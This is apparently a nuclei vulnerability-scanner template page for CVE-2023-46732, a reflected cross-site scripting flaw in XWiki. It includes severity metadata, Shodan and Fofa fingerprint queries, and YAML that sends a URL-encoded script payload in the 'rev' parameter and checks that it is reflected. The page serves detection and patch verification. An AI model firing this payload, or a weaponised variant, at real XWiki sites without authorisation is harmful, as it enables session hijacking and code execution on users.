SecurityContext

CVE-2023-46732: XWiki < 14.10.14 - Cross-Site Scripting

  • Template: CVE-2023-46732
  • Name: XWiki < 14.10.14 - Cross-Site Scripting
  • Description: XWiki is vulnerable to reflected cross-site scripting (RXSS) via the rev parameter that is used in the content of the content menu without escaping. If an attacker can convince a user to visit a link with a crafted parameter, this allows the attacker to execute arbitrary actions in the name of the user, including remote code (Groovy) execution in the case of a user with programming right, compromising the confidentiality, integrity and availability of the whole XWiki installation.
  • Impact: Successful exploitation could lead to cross-site scripting attack.
  • Remediation: This has been patched in XWiki 15.6 RC1, 15.5.1 and 14.10.14.
  • Severity: medium
  • Authors: ritikchaddha
  • Tags: cve, cve2023, xwiki, xss, vkev, vuln
  • References: https://jira.xwiki.org/browse/XWIKI-21095, https://nvd.nist.gov/vuln/detail/CVE-2023-46732
  • Cves: CVE-2023-46732
  • Verified: yes
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-46732.yaml
  • Digest: 4a0a00473045022060b2c69c61bf9cca97d081f68bd78b2ae8d94496cff46b0e54bdf79dcb987dc1022100ce52c62fce729a4ba7719a43378ec24cb576b5e3753f300a1d1a9b1fb91ce2c1
  • Created at: 2024-06-20T10:30:55Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 887
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-46732.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.02282
  • Epss percentile: 0.83592
  • Cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="data-xwiki-reference"
  • Max-request: 2
  • Product: xwiki
  • Shodan-query: html:"data-xwiki-reference"
  • Vendor: xwiki
  • Verified: yes

Products

ProductIndexedUrl
xwiki:xwikiyes/v1/products/xwiki/xwiki

Labels

  • Name: XWiki - Reflected XSS
  • Impact: Attackers can execute arbitrary actions or code in the user's context, potentially leading to full system compromise.
  • Remediation: Escape the 'rev' parameter properly and validate input to prevent XSS.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs user to visit a crafted link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-46732

```yaml

id: CVE-2023-46732

info:

name: XWiki < 14.10.14 - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

XWiki is vulnerable to reflected cross-site scripting (RXSS) via the rev parameter that is used in the content of the content menu without escaping. If an attacker can convince a user to visit a link with a crafted parameter, this allows the attacker to execute arbitrary actions in the name of the user, including remote code (Groovy) execution in the case of a user with programming right, compromising the confidentiality, integrity and availability of the whole XWiki installation.

impact: |

Successful exploitation could lead to cross-site scripting attack.

remediation: |

This has been patched in XWiki 15.6 RC1, 15.5.1 and 14.10.14.

reference:

- https://jira.xwiki.org/browse/XWIKI-21095

- https://nvd.nist.gov/vuln/detail/CVE-2023-46732

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-46732

cwe-id: CWE-79

epss-score: 0.02282

epss-percentile: 0.83592

cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*

metadata:

max-request: 2

verified: true

vendor: xwiki

product: xwiki

shodan-query: html:"data-xwiki-reference"

fofa-query: body="data-xwiki-reference"

tags: cve,cve2023,xwiki,xss,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/bin/view/Main/?rev=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F15.5%25%25%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"

- "{{BaseURL}}/xwiki/bin/view/Main/?rev=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F15.5%25%25%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- 'contains(body, "<script>alert(document.domain)</script>\" id=\"tmViewSource")'

- 'contains(header, "text/html")'

- 'status_code == 200'

condition: and

digest: 4a0a00473045022060b2c69c61bf9cca97d081f68bd78b2ae8d94496cff46b0e54bdf79dcb987dc1022100ce52c62fce729a4ba7719a43378ec24cb576b5e3753f300a1d1a9b1fb91ce2c1:922c64590222798bb761d5b6d8e72950

```